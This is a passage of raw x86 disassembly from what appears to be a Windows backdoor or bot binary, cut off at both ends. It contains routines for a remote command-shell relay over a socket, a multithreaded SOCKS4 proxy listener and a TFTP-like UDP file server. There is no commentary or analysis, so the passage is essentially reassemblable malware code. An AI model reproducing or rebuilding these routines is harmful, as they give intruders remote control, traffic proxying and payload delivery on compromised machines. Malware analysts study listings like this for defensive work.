		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx	; ReadFile
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA34	; send
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43568C
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9FC	; recv
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		call	dword_427134	; GenerateConsoleCtrlEvent
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA34	; send
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_4270F0	; WriteFile
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BCE	proc near		; DATA XREF: sub_401ACD+2BC4o

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_4CB9E4	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4CBA64	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_43E92C[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CBA10	; bind
		test	eax, eax
		jnz	loc_411D70
		push	0Ah
		push	edi
		call	dword_4CBA0C	; listen
		test	eax, eax
		jnz	loc_411D70
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_42BC9C
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_411CA9
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409869
		add	esp, 14h


loc_411CA9:				; CODE XREF: sub_411BCE+B9j
					; sub_411BCE+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA78	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_435738
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	19h
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_43E924[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_411DD3
		push	esi
		push	esi
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E934[ecx], eax
		jz	short loc_411D50


loc_411D3D:				; CODE XREF: sub_411BCE+180j
		cmp	[ebp+var_28], esi
		jnz	loc_411CA9
		push	5
		call	dword_427080	; Sleep
		jmp	short loc_411D3D
; ---------------------------------------------------------------------------


loc_411D50:				; CODE XREF: sub_411BCE+16Dj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_4356FC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_411CA9
; ---------------------------------------------------------------------------


loc_411D70:				; CODE XREF: sub_411BCE+7Bj
					; sub_411BCE+8Cj
		push	edi
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset dword_4356C8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_411DB3
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409869
		add	esp, 14h


loc_411DB3:				; CODE XREF: sub_411BCE+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_415D38
		push	[ebp+var_3C]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_411BCE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DD3	proc near		; DATA XREF: sub_411BCE+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43E92C[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4CB9CC	; select
		test	eax, eax
		jnz	short loc_411E54
		push	dword ptr [esi]
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_411E54:				; CODE XREF: sub_411DD3+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9FC	; recv
		test	eax, eax
		jg	short loc_411E85
		push	dword ptr [esi]
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_411E85:				; CODE XREF: sub_411DD3+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_41207F
		cmp	[ebp+var_4CF], 1
		jnz	loc_41207F
		cmp	[ebp+var_44], bl
		jz	short loc_411F1B
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F1B
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_435800
		call	sub_415DAC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CBA34	; send
		push	dword ptr [esi]
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_411F1B:				; CODE XREF: sub_411DD3+CFj
					; sub_411DD3+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4CBA64	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_411FB3
		call	dword_4CB978	; WSAGetLastError
		push	eax
		push	offset dword_4357C0
		call	sub_415DAC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41BF70
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CBA34	; send
		push	dword ptr [esi]
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_411FB3:				; CODE XREF: sub_411DD3+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4CB98C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412022
		call	dword_4CB978	; WSAGetLastError
		push	eax
		push	offset dword_43577C
		call	sub_415DAC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41BF70
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CBA34	; send
		push	dword ptr [esi]
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_412022:				; CODE XREF: sub_411DD3+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CBA34	; send
		push	dword ptr [esi]
		push	edi
		call	sub_412097
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CBA7C	; closesocket
		push	dword ptr [esi]
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_41207F:				; CODE XREF: sub_411DD3+B9j
					; sub_411DD3+C6j
		push	dword ptr [esi]
		call	dword_4CBA7C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
sub_411DD3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412097	proc near		; CODE XREF: sub_411DD3+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: sub_412097+C5j
					; sub_412097+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4120C5:				; CODE XREF: sub_412097+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: sub_412097+33j
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_4120EA:				; CODE XREF: sub_412097+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9CC	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4CB8D0	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: sub_412097+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB8D0	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: sub_412097+9Aj
					; sub_412097+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412097	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412197	proc near		; CODE XREF: sub_412197:loc_4125F0p
					; DATA XREF: sub_401ACD+20B3o ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
var_574		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		xor	ebx, ebx
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4CBA64	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_412237
		push	190h
		call	dword_427080	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_412217
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409869
		add	esp, 14h


loc_412217:				; CODE XREF: sub_412197+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415D38
		push	[ebp+var_168]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_412237:				; CODE XREF: sub_412197+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4CB9C4	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4CB9C4	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_43E92C[eax], esi
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+var_160]
		call	dword_4CB9E4	; htons
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4CBA10	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4122C1
		push	1388h
		call	dword_427080	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_4125F0
; ---------------------------------------------------------------------------


loc_4122C1:				; CODE XREF: sub_412197+10Fj
		lea	eax, [ebp+var_370]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_412327
		push	190h
		call	dword_427080	; Sleep
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409869
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415D38
		push	[ebp+var_168]
		call	sub_40B6D6
		add	esp, 1Ch
		push	ebx
		call	dword_4270D4	; ExitThread


loc_412327:				; CODE XREF: sub_412197+142j
					; sub_412197+413j
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_4125B3
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi
		push	ebx
		push	eax
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4CB9CC	; select
		test	eax, eax
		jle	loc_4125A7
		mov	al, byte_43DB98
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4CB9BC	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_412591
		cmp	[ebp+var_CF], 1
		jnz	loc_412497
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_41B9C0
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_41DA8B
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_41BAFA
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CBA48	; sendto
		cmp	[ebp+var_D8], ebx
		jnz	short loc_412485
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409869
		add	esp, 14h


loc_412485:				; CODE XREF: sub_412197+2C9j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415D38
		pop	ecx
		jmp	loc_4125A7
; ---------------------------------------------------------------------------


loc_412497:				; CODE XREF: sub_412197+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_412591
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_4124D4
		inc	al
		xor	cl, cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], bl
		jmp	short loc_4124E2
; ---------------------------------------------------------------------------


loc_4124D4:				; CODE XREF: sub_412197+329j
		inc	cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], cl


loc_4124E2:				; CODE XREF: sub_412197+33Bj
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		mov	edi, 200h
		shl	eax, 9
		sub	eax, edi
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41DA8B
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		push	edi
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CBA48	; sendto
		cmp	edi, ebx
		jnz	short loc_4125A7
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset dword_4347A0
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_41257C
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409869
		add	esp, 14h


loc_41257C:				; CODE XREF: sub_412197+3C0j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415D38
		inc	dword_4CE4EC
		pop	ecx
		jmp	short loc_4125A7
; ---------------------------------------------------------------------------


loc_412591:				; CODE XREF: sub_412197+24Aj
					; sub_412197+307j
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_435840
		push	esi
		call	dword_4CBA48	; sendto


loc_4125A7:				; CODE XREF: sub_412197+1E9j
					; sub_412197+2FBj ...
		cmp	[ebp+var_8], ebx
		jg	loc_412327
		mov	edi, [ebp+arg_0]


loc_4125B3:				; CODE XREF: sub_412197+199j
		push	esi
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_4]
		call	sub_41BA3B
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_4125E4
		push	[ebp+var_168]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_4125E4:				; CODE XREF: sub_412197+438j
		push	3E8h
		call	dword_427080	; Sleep
		push	edi


loc_4125F0:				; CODE XREF: sub_412197+125j
		call	sub_412197
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_412197	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125FC	proc near		; CODE XREF: sub_4126A7+E2p
					; sub_4126A7+1A4p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= byte ptr  18h
arg_90		= dword	ptr  98h
arg_94		= dword	ptr  9Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	[ebp+arg_90], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435850


loc_412614:				; CODE XREF: sub_4125FC+6Bj
		push	esi
		push	[ebp+arg_4]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp+var_200]
		push	[ebp+arg_0]
		push	offset dword_436BBC
		push	200h
		push	eax
		call	sub_41C360
